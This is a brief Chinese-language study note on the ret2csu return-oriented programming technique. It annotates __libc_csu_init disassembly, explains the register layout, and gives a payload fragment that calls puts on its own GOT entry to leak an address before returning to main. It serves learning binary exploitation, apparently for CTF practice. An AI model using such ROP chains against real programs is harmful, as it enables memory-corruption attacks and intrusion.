ret2 csu
该技巧使用__libc_csu_init中的gadgets操作寄存器值,并可以接着调用函数,乍一听感觉很万金油(
源码/漏洞分析:
text:0000000000400890 loc_400890: ; CODE XREF: __libc_csu_init+54↓j
.text:0000000000400890 mov rdx, r13 //csu_addr2
.text:0000000000400893 mov rsi, r14
.text:0000000000400896 mov edi, r15d
.text:0000000000400899 call ds:(__frame_dummy_init_array_entry - 600E10h)[r12+rbx*8] //如果rbx=0就可以直接调用r12处地址
.text:000000000040089D add rbx, 1
.text:00000000004008A1 cmp rbx, rbp
.text:00000000004008A4 jnz short loc_400890
.text:00000000004008A6
.text:00000000004008A6 loc_4008A6: ; CODE XREF: __libc_csu_init+34↑j
.text:00000000004008A6 add rsp, 8
.text:00000000004008AA pop rbx //csu_addr1
.text:00000000004008AB pop rbp
.text:00000000004008AC pop r12
.text:00000000004008AE pop r13
.text:00000000004008B0 pop r14
.text:00000000004008B2 pop r15
.text:00000000004008B4 retn

先跳转到0x00000000004008AA(csu_addr1,为控制寄存器的值布局
rbx=0 因为后面要调用r12函数,设置为0
rbp=1 后面rbx会加1后与rbp比较,相等继续
r12=目的函数的got 因为是call [r12]内存间接调用,需要直接提供函数的地址
r13=rdx var3
r14=rsi var2 如果你要调用puts这种只有一个参数的,直接将r15设置为泄露地址,r13r14乱写就行
r15=rdi var1
然后跳转csu_addr2 0x0000000000400890 控制寄存器
call完后继续执行一个add和6个pop,因为我们肯定是要跳回去的,所以写7个值在栈上防止pop/add破坏栈帧
exp:
payload+= p64(csu_addr1)
payload+= p64(0)
payload+= p64(1)
payload+= p64(elf.got['puts'])
payload+= p64(0x100)
payload+= p64(0)
payload+= p64(elf.got['puts'])
payload+= p64(csu_addr2)
payload+= p64(0)*7
payload+= p64(elf.symbols['main'])
有些版本的csu传参的寄存器不一样,按照实际调整就可以了